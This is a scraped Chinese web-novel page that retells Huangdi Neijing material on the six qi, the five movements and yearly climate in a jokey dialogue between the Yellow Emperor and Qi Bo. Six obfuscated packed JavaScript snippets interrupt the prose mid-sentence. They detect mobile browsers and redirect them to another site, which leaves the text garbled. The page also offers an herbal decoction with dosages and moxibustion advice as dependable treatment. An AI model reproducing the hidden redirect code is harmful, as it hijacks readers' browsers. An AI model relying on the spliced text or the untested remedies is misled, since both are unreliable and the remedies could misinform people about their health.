岐伯捋了捋胡子，慢悠悠地说：“陛下，您知道吗？这世上的万物生长啊，都遵循着六气和五类的相互制约之道。六气嘛，就是风、寒、暑、湿、燥、火，它们轮流上阵，掌管着四季变化；五类呢，说的是咱们地球上的五种小动物代表，毛虫（比如兔子）、羽虫（比如鸟儿）、介虫（比如乌龟）、鳞虫（比如鱼）、倮虫（就是咱们人类和大部分没壳没羽的陆地动物啦）。它们之间的兴衰变化，可都是天地间的自然法则，生命的常态呢！” “您听好了，比如啊，当厥阴风木之气掌管天时，就像是春天的风轻轻吹过，那些毛茸茸的小动物们（毛虫）就开始安静地享受春光，而长着翅膀的小鸟们（羽虫）则欢快地繁殖起来，至于那些背着硬壳的家伙（介虫），嘿，它们可能就得悠着点了，这时候繁殖不太容易成功。反过来，如果这风木之气到了地下，成了在泉之气，嘿，毛虫们可就乐坏了，繁殖得欢；咱们人类这些倮虫呢，可能就得消耗点体力应对多变的气候了；而那些小鸟们，却可能因为气候的微妙变化，繁殖上遇到了点小挑战。” “再换个场景，要是少阴君火之气当家做主了，那就是炎炎夏日来临，小鸟们（羽虫）得找个凉快地儿歇歇了，乌龟王八们（介虫）倒是趁机繁殖得热火朝天；可咱们可爱的兔子们（毛虫），这时候就显得有点力不从心了。而当这火之气潜入地下，成为在泉之气时，小鸟们又成了主角，繁殖得那叫一个欢畅；而乌龟们呢，就得悠着点，别把自己烤熟了，繁殖也暂时放放。” “说到太阴湿土之气，那就是秋天的味道了，咱们人类（倮虫）这时候可能会觉得懒洋洋的，不太想动弹，而那些滑溜溜的鱼儿们（鳞虫）却迎来了它们的繁殖季。可当这湿土之气深入地下，咱们人类又精神抖擞起来，忙着收获，忙着生活；而那些鱼儿们，可能就得面对些挑战，繁殖不那么顺利了。” 如果少阳这位“暖男”掌管了天空的舞台，那可就热闹了。羽毛类的小家伙们（比如鸟儿们），就像是穿上了隐形的羽绒服，安静地在枝头享受阳光，悠哉游哉。而毛发类动物（比如猫猫狗狗），嘿，那叫一个生机勃勃，毛发油光水滑，仿佛在说：“看我，多靓的毛！” 但这时候，那些没穿衣服的小虫虫（比如蚯蚓、蜗牛这些软体动物），就有点尴尬了。它们似乎跟不上这节奏，成长得有点慢，就像是忘了穿秋裤的孩子，在风中瑟瑟发抖。 到了下半年，“少阳在泉”，也就是掌管地下水汽的时候，羽毛类动物继续它们的繁荣，而甲壳类（比如螃蟹、乌龟）就惨了，感觉像是被抽走了活力，消耗了不少元气。至于毛发类动物，则像是进入了休眠期，生长变得缓慢，仿佛在说：“冬天来了，我得省着点长。 换阳明这位“硬汉”上场，情况就大不一样了。甲壳类动物（介虫）像是被按下了暂停键，静静地躲在壳里，观察着外面的世界。而羽毛类动物则迎来了它们的春天，飞得更高，唱得更响。不过，有趣的是，尽管甲壳坚硬，但在阳明的影响下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318214|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们自己的繁殖却遇到了难题，就像是硬汉也有柔情难解的时候。 到了下半年，“阳明在泉”，甲壳类动物终于找回了场子，开始茁壮成长。但这时候，毛发类动物就惨了，像是被秋风扫落叶，元气大伤。而羽毛类动物呢，也遭遇了成长的瓶颈，仿佛在告诉我们：“风水轮流转，今年到我家。” 轮到太阳这位“大佬”登场。鳞片类动物（比如鱼类）就像是感受到了夏日的酷热，纷纷潜入水底避暑，变得安静起来。而那些没穿衣服的小虫虫（倮虫，包括人类和一些无鳞无甲的昆虫），却迎来了它们的狂欢时刻，生长迅速，活力四射。 但到了下半年，“太阳在泉”，鳞片类动物就惨了，像是被抽干了水分，消耗严重。而那些之前狂欢的裸体小虫虫们，却像是突然失去了方向，生长变得困难起来，仿佛在说：“哎，乐极生悲啊！” 咱们的老祖宗发现，世间万物，包括咱们人体的健康，都受着一种叫做“气”的神秘力量影响。这“气”啊，就像是手机里的信号，时强时弱，还分个春夏秋冬四季不同，甚至每天每时每刻都在变。咱们就来看看，这“气”是怎么影响咱们身体健康的吧！ 想象一下，如果你买了一辆新车，本来想着能风驰电掣，结果却因为路况不佳（就像身体里的“气”运行不畅），老是开不快，还时不时抛锚，这心情得多郁闷！身体里的“气”要是运行不顺，也是差不多的道理。就像中医里说的“诸乘所不成之运，则甚也”，意思就是，如果各种“气”没按照它们该走的路线跑，身体就容易出大问题。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 六元正纪大论第七十一（一） 黄帝笑呵呵地问道：“哎呀，这六气的变化，还有它们之间的胜复关系，以及天地间淫雨干旱的治理之道，还有食物中甘、苦、辛、咸、酸、淡六味对人体影响的先后顺序，这些我都算是门儿清了。但说到五运的转化，有时候它们跟着天气的节奏走，有时候又偏偏反着来；或者呢，既顺应了天气又违背了地气，又或者逆了天气却合了地气；它们之间有的相处融洽，有的却格格不入。这其中的奥妙，我还真是有点迷糊。我就想啊，要是能把这天上的规矩、地上的道理都给摸透了，让五运的运行和变化都和谐起来，就像上下级关系和睦，不抢功也不越界，天地间的升降有序，各自干好各自的活儿，五运之气顺畅无阻，不偏离正轨。再用对了五味来调和，不管是顺应还是逆着来，这其中的门道，你可得给我好好说道说道！” 岐伯一听，赶紧恭敬地行了个大礼，连声道：“陛下这问题问得深邃又高明啊！这简直就是探讨天地运行的根本法则，是变化万千的源头活水，不是咱们这种凡夫俗子能轻易参透的，得是您这样的圣明之君才能穷其究竟啊！我虽然不算太聪明，但既然您问了，我就斗胆给您细细道来，保证让您听了之后，这道理就像刻在石头上一样，历久弥新，永不褪色。” 黄帝一听，来了兴致，示意岐伯继续说。 岐伯清了清嗓子，开始了他的“脱口秀”：“咱们先聊聊这天和地的那点事儿吧。您想啊，天有四季更替，春生夏长秋收冬藏，这就是天的节奏；地呢，有五行相生相克，金木水火土，循环不息，这就是地的旋律。当天上的风调雨顺，地上的五谷就丰登；当天上的气候变化无常，地上的生灵就得遭殃。这就是为啥有时候咱们觉得‘天人合一’，有时候又觉得‘天有不测风云’了。” “说到五运，那可是个大学问。它就像个调皮的孩子，时而跟着天的步伐蹦蹦跳跳，时而反其道而行之，搞点叛逆。有时候呢，它还想两边讨好，既想当天上的小明星，又不想放弃地上的小伙伴，结果就可能两头不讨好，弄得自己里外不是人。但有时候，它又能找到那个完美的平衡点，让天地之间和谐共生，万物欣欣向荣。” “至于五味嘛，那就更有趣了。您知道吗？这甘、苦、辛、咸、酸、淡，可不仅仅是餐桌上的调味品那么简单。它们啊，就像是身体里的‘和事佬’，能调和五运带来的各种‘小情绪’。比如说，夏天热得你上火了，来点苦味清清火；冬天冻得你手脚冰凉，来点甘味补补气血。这五味啊，用对了，就是身体的超级英雄；用错了，可能就是捣蛋鬼了。” “那么，怎么才能让五运和五味都乖乖听话呢？关键就在于一个‘和’字。就像咱们做菜一样，酸甜苦辣咸，得搭配得刚刚好，才能做出美味佳肴。对于身体来说也是一样，得根据季节、气候、体质的不同，灵活调整饮食和作息，让身体内部的各种力量保持平衡。” “当然了，这个过程也不是一帆风顺的。有时候啊，咱们还得学会‘逆来顺受’。比如说，天气突然变冷了，你本来想吃冰淇淋的，但这时候就得忍住诱惑，喝点热汤暖暖身子。这就是一种逆着性子来的养生之道。但记住哦，逆不是乱来，而是有目的的、有智慧的调整。” “还有啊，我想说的是，养生就像是一场马拉松比赛。不是看你一时跑得有多快多猛，而是看你能不能坚持到最后还不累垮。所以啊，咱们得慢慢来，一步一个脚印地按照自然规律去生活去调养。这样一来啊，不仅能活到九十九还能走遍天下都不怕呢！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318215|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄帝对岐伯说：“嘿，岐伯兄，你能不能给咱详细捋捋，把天地间的那些个自然规律、人体的小秘密，还有那些个看不见摸不着的气啊、数啊的，都给分分类，排排队，让它们各就各位，就像给穴位找对家，给药方配调料一样，既清晰又明了。这样，咱们老百姓也能跟着沾沾光，学学怎么顺应自然，调养身心，你说咋样？” 岐伯一听，哈哈一笑，那笑容里仿佛藏着千年的智慧：“黄帝陛下，您这主意可真够新潮的！得嘞，咱们就来一场古今结合的科普秀吧！首先，咱们得定个基调，那就是时间轴——年份，它就像是大自然的闹钟，每年一响，金木水火土这五行就开始它们的巡回演出。金代表收敛，木象征生长，水主润下，火则炎上，土居中调和，它们轮流坐庄，影响着四季的寒暑、空气的燥湿，还有时不时来串门的风火二兄弟，它们一闹腾，天气就变脸。掌握了这些，咱们就能窥见天道的奥秘，调整百姓的生活节奏，让阴阳二气在咱们体内自由舒展，就像做瑜伽一样，身心和谐，烦恼自消。” “至于怎么数这些气数嘛，咱们得用科学的态度，但又不失趣味。比如说，咱们可以把五行对应到身体的五脏六腑上，金对应肺，木对应肝，水对应肾，火对应心，土对应脾胃。这就像给身体里的每个部门都安了个GPS，定位精准，管理有序。然后，咱们再聊聊怎么‘明其正化’，其实就是怎么让身体顺应自然，保持最佳状态。比如春天养肝，多吃绿叶蔬菜，让心情像嫩芽一样生机勃勃；夏天养心，来点西瓜绿豆汤，清凉解暑，心静自然凉；秋天润肺，炖点雪梨百合羹，润肺止咳，整个人 都滋润了；冬天补肾，羊肉汤走起，暖身又补肾气。” 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（二） 黄帝坐在那儿，一脸求知若渴地问：“哎，岐伯兄，你说说这阳明之政是咋回事儿啊？” 岐伯呢，就像是那满腹经纶的老学究，捋了捋胡子，慢悠悠地开了腔：“这事儿啊，得从卯酉这个时间轴说起，跟咱们的十二生肖里的兔子和鸡有那么点关系，但咱们今天不谈生肖，谈天文、气候与健康的大道理。” “阳明呢，它就像是大自然里的阳光小伙，热情洋溢，但在中医五行里头，它对应的是金，金性收敛，却又带着一股子锐气。这一年啊，如果阳明之气稍微弱了点，就像是小号的角（在古代音乐理论中，角代表木，象征生机初发），那少阴（对应水，代表寒冷、收藏）就会趁机跳出来，跟它玩一场‘清热’的拉锯战。不过呢，这胜负嘛，它们俩往往是打了个平手，然后又一起回归到正商（金的正音，代表稳定与和谐）的状态，仿佛是大自然在告诉我们：平衡才是王道！” “说到丁卯年，那可是个特别的年份，岁会之年，意味着天地之气特别和谐，就像咱们过年时家家户户都团圆，其乐融融。丁酉年也是如此，风轻轻吹，热也适中，不燥不热，刚刚好。这运气的变化啊，就像是一首优美的曲子，从轻柔的小调（少角）开始，慢慢过渡到激昂的高亢（太徵），再缓缓落入温柔的低吟（少宫），最后以稳健的商音（太商）和深沉的结束（少羽）收尾，完美！” 咱们得明白这“阳明、少徵、少阴”是啥。这可不是说咱们身上的穴位哦，虽然中医里穴位也很重要，但这里它们指的是自然界的五行之气在不同年份的表现。简单说，就像是每年的天气性格，有的年份热情如火（阳明），有的年份温柔似水（少阴），还有的年份呢，带着点羞涩的文艺范（少徵）。 再来看“寒雨胜复同，同正商”，这句话像是在说，如果这一年里，寒气和雨水交替出现，你来我往，互不相让，但最终呢，它们都会趋向于一个共同的“正商”状态。这“正商”啊，就像是音乐里的主旋律，不管前面怎么变奏，最后都得回到这个调子上来。在中医里，它代表了金气（肺与大肠）的平衡与和谐。 接下来，“癸卯、癸酉”这两个年份，被特别提到了，说是“同岁会”。岁会，就像是每年的大聚会，各种气运都会在这个时间点汇聚一堂，共同影响这一年的气候和人体健康。癸卯和癸酉这两年，就是金气特别旺盛的时候，金能生水，所以雨水可能也会比较充沛，咱们得注意防寒防湿哦！ 再来说说“其运热寒雨”，这简直就是对这一年气候变化的生动描述嘛！年初可能还暖洋洋的，像是少徵之年的温柔；转眼间，寒风凛冽，带着少阴的清冷；到了雨季，更是连绵不绝，寒雨交加，这就是大自然的喜怒无常，咱们得学会适应不是？ 至于“少徵、太宫、少商、太羽（终）、太角（初）”这一串，是五运的排序，就像是咱们一年四季的更迭。少徵对应着初夏的温热，太宫则是盛夏的丰盛，少商带着秋风的凉爽，太羽则预示着冬天的寒冷与深邃，而太角，则是新春的萌芽，万物复苏。这一圈转下来，又是一年好光景！ 想象一下，如果古代有个天气预报员，他会怎么播报这一年的天气呢？“各位乡亲们，听好了啊！今年可是个‘阳明’开局的年份，就像是早上那第一缕阳光，温暖又不失活力。但别高兴太早，转眼‘少徵’一来，就像初恋的小脸，红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318216|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彤彤的，热得你直冒汗。别急，后面还有‘少阴’呢，就像是突然来了个高冷女神，冻得你直打哆嗦。这还没完，‘寒雨胜复同’，就像是一对欢喜冤家，雨水跟寒气你追我赶，好不热闹。最后啊，都得乖乖地回到‘正商’的怀抱，金气满满，咱们就坐等丰收吧！” “阳明，少宫，少阴，风凉胜复同。己卯，己酉。其运雨风凉。” 翻译成大白话就是：在己卯年和己酉年这两年里，气候上有个特点，那就是风啊、凉啊这些元素特别活跃，它们跟阳明（代表炎热干燥的气候）和少阴（代表凉爽湿润的气候）交替出现，玩起了“你追我赶”的游戏。这一年啊，雨水不少，风也挺凉快的，感觉就像是自然界的空调时不时开开关关，让人捉摸不透但又挺享受的。 说到五行运化，那年啊，就像是开了一场音乐会，从少宫（土）开始，慢慢过渡到太商（金）、少羽（水）、少角（木），最后以太徵（火）结束。这就像是地球母亲在唱一首四季轮回的歌，每个音符都对应着不同的气候特点和自然界的变化。 接下来，咱们看看第二个年份：“阳明，少商，少阴，热寒胜复同，同正商。乙卯天符，乙酉岁会、太一天符，其运凉热寒。” 哎呀，这乙卯年和乙酉年就更热闹了！阳明和少阴再次登场，但这次少商（金）也来凑热闹了，意味着这一年热和寒的交替会更加明显，就像是在玩“冰火两重天”的游戏。而且哦，这两年还特别厉害，被称为“天符”、“岁会”、“太一天符”，简直就是自然界的超级VIP年份，气候变化更加复杂多变。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 六元正纪大论第七十一（三） 黄帝问道：老岐，能给我说说“少阳之政”蕴含的大道理吗？ 岐伯笑了笑说道：陛下，这“少阳之政”，它对应的可是十二生肖轮回中的寅年和申年，就像是我们现代人说的“虎年”和“猴年”，听起来就挺有活力的，对吧？在这两年里，大自然的节奏可是由少阳这位充满活力的“导演”来掌控的，他特别喜欢用“太角”这个音乐调子来指挥万物生长，而“厥阴”呢，就像是那位温柔的副导演，悄悄地在一旁辅助，让一切既有力量又不失和谐。 想象一下，壬寅年和壬申年，那可是“同天符”的年份，就像是宇宙间的大boss亲自盖章认证的年份，特别给力！这两年的气候啊，就像是风神的鼓点，咚咚咚地敲打着大地，万物都被这股力量唤醒，开始了它们的新生。树木发芽，花儿绽放，大地裂开一道道口子，那是新生命在破土而出的信号，多么美妙的“鸣紊启坼”啊！ 但是呢，自然界总是有那么点“小脾气”，风太大了，有时候也会变成一场灾难。想象一下，那些小树苗被狂风吹得东倒西歪，甚至被连根拔起，这就是“振拉摧拔”的变化。而人呢，在这样的年份里，也容易得些“风病”，比如身体不由自主地抖动（掉），头晕目眩（眩），还有啊，两边的肋骨区域（支胁）可能会感觉不舒服，心里头也容易一惊一乍的（惊骇）。 咱们身体是个大型交响乐团，每个音符（也就是五脏）都有它的专属“音阶”和“穴位”小舞台。比如，“太角（初正）”，就像是乐章的开场号角，对应着我们的肝脏，现代穴位里咱们可以叫它“肝俞穴”的VIP席位。它告诉我们，要想一天精神满满，得先把肝养好，像早晨的第一缕阳光，温暖而充满活力。 接下来，“少徵”呢，就像是乐章中的小提琴独奏，悠扬中带着一丝激昂，对应心脏，咱们可以想象成“心俞穴”上的一曲心动旋律。心脏健康，就像爱情歌曲一样，让人心动不已，生活自然充满色彩。 再来说说“太宫”，这是脾胃的专属和弦，咱们可以亲切地称它为“脾俞穴”的温馨家园。脾胃好，吃啥都香，就像家里的厨房，总是能变出各种美味佳肴，滋养全家。 然后是“少商”，这名字听起来就像商业精英，但其实它是肺脏的守护神，对应“少商穴”，就在拇指边上，轻轻一按，就像给肺部做了个小SPA，呼吸都顺畅了。 最后，“太羽（终）”，如同乐章的缓缓落幕，对应肾脏，咱们就叫它“肾俞穴”的宁静港湾吧。肾好，人精神，晚上睡得香，第二天醒来又是元气满满的一天。 咱们得弄明白这“少阳、太徵、厥阴”是咋回事儿。想象一下，这仨词儿就像是中医界的“摇滚乐队”，各有各的调儿，各有各的范儿。少阳，就像是乐队里的吉他手，热情奔放，代表着人体中那股子生机勃勃、初升的太阳般的能量；太徵呢，就像是主唱，声音高亢激昂，象征着夏季的热烈与繁荣，对应着五行中的火，火势旺盛，正是它的写照；而厥阴，就像是那低调而深沉的贝斯手，藏着深邃的秘密，代表着一种内敛而深沉的力量，与夜晚的宁静和月光的清冷相呼应。 接下来，“戊寅天符，戊申天符”，这俩词儿听起来就像是天文台发布的神秘预报，其实它们是中医运气学说里的“大事件”。简单来说，就是当某个年份的天干地支与特定的五行属性完美契合时，就会出现这样的“天符”年。戊寅、戊申这两年，就像是自然界给咱们开了个“加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318217|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强版”的夏天模式，热量加倍，阳光更灿烂，也预示着天地间的能量流动将更为剧烈。 说到这“运暑”，咱们就不得不提那炎炎夏日了。想象一下，你正躺在沙滩上，阳光炙烤着大地，空气中弥漫着那种叫做“暄嚣郁燠”的气息——对，就是那种既闷热又带点潮湿，仿佛连空气都在低语，说：“热啊热啊！”这就是“运暑”的感觉。但别忘了，物极必反，这炎热的天气一旦过了头，就会变成“炎烈沸腾”的极端，就像是一锅即将沸腾的开水，随时可能爆发。 那么，这样的天气对人体有啥影响呢？嘿，那可大了去了！首先，你可能会感觉“上热郁”，就像是头顶顶了个小火炉，热得你心烦意乱；接着，“血溢”、“血泄”这类问题也可能找上门来，想象一下，身体内的血液因为热气熏蒸而失去了往日的宁静，开始蠢蠢欲动，甚至有可能“离家出走”；最惨的是“心痛”，那可是真的痛，仿佛心脏也被这炎热的天气烤得隐隐作痛。 不过别怕，中医讲究的是“天人合一”，既然天气如此，咱们就得顺应自然，调整身心。这时候，咱们的五音疗法就派上用场了——“太徵、少宫、太商、少羽（终）、少角（初）”。这可不是让你去开演唱会，而是用音乐来调节身体的五行平衡。比如，听听那些激昂高亢的音乐（太徵），让心中的火焰燃烧得更旺，但也要注意适度，别把自己烧着了；再听听柔和的旋律（少宫、太商），让心灵得到抚慰，平复那份躁动；至于“少羽（终）”和“少角（初）”，就像是音乐的起承转合，引导着身体的能量从高到低，再由低到高，完成一个循环，达到和谐统一。 本小章还未完，请点击下一 页继续阅读后面精彩内容！ 六元正纪大论第七十一（四） 黄帝悠悠地说道：老岐，跟我谈一下“太阴之政”这档子事吧，给我捋捋这其中的门道！ 岐伯笑了笑说道：话说啊，在古代中医的天文气象与人体健康相互关联的学问里，“太阴之政”可是个重要角色。它就像是自然界的一位温柔又严谨的管家，掌管着丑年和未年的气候变化，以及这些变化如何悄悄影响我们的身体。咱们就从“丑未之纪”这个时间点说起吧。 想象一下，如果现在是古代，咱们正站在一个叫做“丑未”的时间轴上，这轴子上挂着四季的变换，还有那些看不见摸不着，却能感受到的“气”。这时候，太阴这位大佬登场了，它带着一股子“少角”的气息，这“少角”啊，就像是音乐里的轻柔前奏，预示着接下来的一曲交响乐。而太阳呢，作为天空的霸主，它的“清热”之力与太阴的“胜复”之力，在这一年里来了个默契的“同频共振”，就像好朋友手拉手跳舞，步调一致得很。 “同正宫”，这词儿听起来就高端大气上档次，其实就是说，这一年的气候特点，主要以“宫”音所代表的稳定、和谐为主旋律。而在丁丑年和丁未年，这种和谐中更是多了一份“风”的轻盈和“热”的活力，就像是春风里带着点暖阳的味道，让人心情舒畅。 接下来，咱们聊聊这五运六气里的“少角、太徵、少宫、太商、少羽”这些个“音符”。它们可不是随便排列的，而是按照自然界的规律，一步步演奏着生命的乐章。想象一下，这五个音符分别代表了五种不同的能量场，它们相互作用，共同影响着我们的生活。 “少角（初正）轻盈启幕，如同晨曦初露，温柔地唤醒沉睡的大地；太徵热烈奔放，如同夏日骄阳，激情四溢，驱散一切阴霾；少宫温婉如玉，宛如秋月当空，宁静致远，滋养心田；太商清新明快，恰似秋风送爽，吹散烦恼，带来丰收的喜悦；少羽（终）则深沉悠远，如同冬日雪花，轻轻飘落，为这一年的旋律画上完美的句号。” 这五音啊，不仅仅是耳朵的盛宴，更是心灵的按摩师。在快节奏的现代生活中，咱们不妨也来一场“五音养生大会”。想象一下，当你感到压力山大时，一曲“少角”轻音乐缓缓流淌，就像山间清泉，瞬间带走你的疲惫；而“太徵”的激昂，则能激发你的斗志，让你在挑战面前无所畏惧；“少宫”的温柔，如同老友的拥抱，给予你最坚实的安慰；“太商”的清新，仿佛带你漫步林间小道，呼吸间都是自由的味道；至于“少羽”，它就像夜幕降临时的那一抹宁静，提醒你，无论多忙，都要记得给自己的心灵放个假。 如果古代有天气预报员，他们可能就会这么说：“嘿，大家伙儿注意啦，今年啊，太阴（咱们可以理解为一种能量状态，类似于身体内部的阴气）和太阳（阳气旺盛的时候）这两股力量啊，跟少徵（可能是指某种微妙的、不太显着的变化，咱们可以想象成是身体小打小闹的小病小痛）一块儿玩儿起了‘你追我赶’的游戏。而寒雨呢，就像是天空的心情，时而忧郁哭泣（下雨），时而寒冷刺骨。最有趣的是，这些变化啊，在癸丑年和癸未年特别明显，就像是地球母亲给咱们开了个小小的玩笑，说：‘瞧，这热一阵冷一阵，雨一阵晴一阵的，是不是很有意思？’至于‘其运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318218|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热寒雨’，那就是说这一年的气候特征，热、寒、雨交替进行，就像是给大自然开了个调温器，忽冷忽热，还得时不时来点雨水滋润。” 现在，咱们把这段古老的语言转换成现代生活的场景，让它变得更接地气，更有趣味性。想象一下，你是个现代养生达人，正在用中医的智慧来指导自己的生活。当冬天过去，春天悄悄来临，你知道这是太阴（身体里的阴气）开始减弱，太阳（阳气）逐渐增强的季节。于是，你开始减少厚重的衣物，多吃点温热的食物，比如姜茶、红枣粥，来帮助身体驱散残留的寒气，迎接新一年的生机。 而“少徵”这个阶段，就像是偶尔的小感冒或是疲劳感，它们悄悄告诉你：“嘿，兄弟，注意休息啦，别太拼了！”这时候，你就会想起中医的养生智慧，泡个热水脚，做做艾灸，或是去按摩店让师傅给你揉揉肩颈，疏通经络，让身体的小小不适快快溜走。 到了“寒雨胜复同”的日子，嘿，这不就是咱们常说的“倒春寒”或是“秋雨绵绵”嘛！这时候，你就得准备些雨具，同时别忘了给身体也穿上“防雨衣”——多吃些温补的食物，比如羊肉汤、鸡汤，或是来点姜糖茶，暖暖身子，抵御寒湿的侵袭。 至于“癸丑，癸未”这两年，咱们就当作是生命中的两个小考验吧。每当你遇到这样的年份，记得提醒自己，要多关注身体的变化，调整作息，保持良好的心态。毕竟，就像大自然有四季更替，人生也有起起落落，关键是我们如何适应，并找到其中的平衡。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 六元正纪大论第七十一（五） 说起这“太阴司天之政”，咱们得把它想象成一场自然界的年度大戏，而这场戏的导演嘛，就是那位低调却掌控全局的太阴大佬。它一出手，整个天地间的气场都得重新洗牌，就像是咱们手机上的天气APP突然变了脸，后天模式直接开启，还自带了复古滤镜呢！ 想象一下，平时阳光灿烂的日子突然变得阴沉沉的，这可不是简单的多云转阴，而是整个天空都笼罩在一种“阴气森森”的氛围中。太阳公公像是被请去喝下午茶了，留下风大爷肆意横行，时不时来个“大风起兮云飞扬”的即兴表演。这风啊，不仅仅是吹，它还带着地里的湿气一块儿往上窜，跟天上的冷气来了个热情的拥抱，结果呢？原野上就像是被撒了一层朦胧的滤镜，白茫茫的雾气四起，云朵也急着往南边跑，好像那边有啥热闹似的。 这时候，雨也变得频繁起来，还带着点寒意，滴滴答答地落在地上，好像连雨水都在提醒我们：“嘿，冬天提前预告啦！”不过说来也怪，这雨虽然冷，但农作物们却仿佛得到了某种神秘的滋养，在差不多夏天的时候才慢悠悠地成熟，真是应了那句“好事多磨”的老话。 老百姓们呢，可就没那么悠哉了。这寒湿一重，身体就开始闹意见了。肚子胀得跟气球似的，走路都费劲；身上这儿疼那儿酸的，跟被谁偷偷按了“酸痛模式”似的；再看看那腿，肿得跟萝卜一样，还时不时抽个筋，简直是要命。更别提那些个“寒厥”、“拘急”的毛病了，感觉整个人都被冻成了“冰棍儿”。 说起来也巧，这天上的变化还跟星星们玩起了联动游戏。镇星（土星）和辰星（水星）这俩兄弟，仿佛也在遥相呼应，告诉我们：“嘿，看这天气，咱们也得跟着变变卦了！”而大地上的植物呢，也是顺应着这股子寒湿之气，黅（黄）色和玄（黑）色的谷物成了主角，就像是自然界在悄悄告诉我们：“多吃这些，暖和身子哦！” 说到这治疗啊，咱们老祖宗可有的是招儿。面对这寒湿侵体，中医讲究的是“温阳散寒，祛湿通络”。想象一下，如果你也是个“寒湿体质”的小伙伴，不妨试试下面这个“暖阳祛湿汤”。这可不是我瞎编的，而是根据古方改良来的哦！ 首先，你得准备：干姜15克（暖胃驱寒小能手），茯苓20克（祛湿界的扛把子），白术10克（健脾益气，帮你身体自己排湿），炙甘草5克（调和诸药，让其他小伙伴更好地发挥作用），再加上一点肉桂3克（温阳补肾，让你从里到外都暖和起来）。把这些材料放到砂锅里，加水没过药材，大火煮开后转小火慢炖半小时，一碗热腾腾的“暖阳祛湿汤”就出炉啦！喝上一碗，保证你从头暖到脚，连心情都会跟着好起来呢！ 至于穴位嘛，咱们也有妙招。对付寒湿，足三里和阴陵泉可是黄金搭档。足三里，就像是咱们身体里的“暖气开关”，每天用艾条温和灸个15分钟，或者用手掌根按揉5-10分钟，就能让全身暖洋洋的。而阴陵泉呢，则是祛湿的要穴，用同样的方法刺激它，就能帮身体把多余的湿气排出去。两个穴位一起上，效果翻倍哦！ 说到这里，不得不提一句，中医讲究的是“天人合一”，咱们的身体跟大自然是紧密相连的。所以啊，当你感觉身体不舒服的时候，不妨抬头看看天，想想最近的天气变化，说不定就能找到问题的根源所在呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318219|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！就像这次的太阴司天之政一样，虽然它带来了寒湿和不适但只要我们顺应自然规律调整自己的生活方式和饮食习惯再借助中医的智慧和方法就能轻松应对啦！ 